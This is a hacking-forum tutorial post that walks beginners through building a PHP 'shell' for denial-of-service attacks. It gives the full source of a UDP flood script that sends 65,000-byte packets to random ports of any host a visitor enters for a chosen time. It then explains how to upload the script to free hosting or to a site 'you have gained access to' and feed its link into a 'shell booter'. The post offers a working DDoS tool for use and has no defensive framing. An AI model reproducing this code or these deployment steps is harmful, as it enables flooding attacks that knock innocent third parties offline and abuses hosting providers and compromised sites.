Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[Tutorial] Making and Uploading Shells

I want to start of by saying this is a very basic tutorial, but I have not seen any recent post so I decided to make one. I understand this is outdated but some people want to start with this. So if you are not interested or here to flame, don't bother reading the rest. Please note that this is for Windows only so far. I am not sure on how to do it with other operating systems.

Ok, Now for the tutorial!

What is a shell?
A shell is pretty much a coded PHP file that is most often used to launch distributed-denial-of-service attacks without the need for vast networks of infected zombie computers. (Could not find a spot on definition)

Sound interesting?
It usually does to people just wanting to start out(like yourself). Many things should be going through your mind when reading this, and I am sure that thought is "I want to make a shell booter." Well, I am going to help you do that today. (Getting the links to your shell files, and such)

So now to make the shells.

First things first open up notepad, and paste this code into it:

Quote: <html>
<body>
<title>
D00seD00se
</title>
<font color="00FF00">
<img src="http://authkeys.com/sh3ll/logo.php" ALIGN=RIGHT>
<STYLE>
input{
background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
button{
background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
body {
background-color: black;
}
</style>
<br>
<p>
<br>
<p>
<center>
<?php
//UDP
if(isset($_GET['host'])&&isset($_GET['time'])){
$packets = 0;
ignore_user_abort(TRUE);
set_time_limit(0);

$exec_time = $_GET['time'];

$time = time();
//print "Started: ".time('d-m-y h:i:s')."<br>";
$max_time = $time+$exec_time;

$host = $_GET['host'];

for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "<b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
echo '<br><br>
<form action="'.$surl.'" method=GET>
<input type="hidden" name="act" value="phptools">
Host: <br><input type=text name=host><br>
Length (seconds): <br><input type=text name=time><br>
<input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
<form action=? method=GET>
<input type="hidden" name="act" value="phptools">
Host: <br><input type=text name=host value=><br>
Length (seconds): <br><input type=text name=time value=><br><br>
<input type=submit value=Go></form>';
}
?>
</center>
</body>
</html>


Once you have that in there, save the file as a Shell.php(Or whatever name you think fits).

Ok, now we have your shell, but it is not usable until we upload it. Today we will be using webs.com, of course you can buy hosting or use a website that you have gained access to.

So now what we will do is navigate ourselves to "http://www.webs.com/"

Go through the registration process, confirm your email, and go back to the site.

Now you should be at the homepage. Locate the "Create your website" button, and follow the process to make your website. Once you have your website made, go to "Manage Website", and at the top toolbar click "File Manager". Once that is open upload your shell to it, then right click the file, and press "copy link location" now you should have your shell uploaded. The link will look like "http://yoursite.webs.com/shell.php"

Now you can add this link to a shell booter, and you are set. You can also make several sites on the same account so you can add more shells. If you need help with a shell booter source, there is many tutorials out there. Good luck with whatever you choose to do with this tutorial! I might make a more in-depth tutorial with booter sources, and adding/checking shells.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by NiggzJan 26, 2014 05:18 AM 18 608 Jan 26, 2014 05:18 AM
Last Post: Sʜᴀᴅᴏᴡ Rᴇᴀʟᴍ
by ProUDPacketJun 16, 2013 12:14 PM 9 1,543 Jun 16, 2013 12:14 PM
Last Post: pois0ned
by sam2011hackerSep 23, 2012 10:21 AM 11 520 Sep 23, 2012 10:21 AM
Last Post: Dir50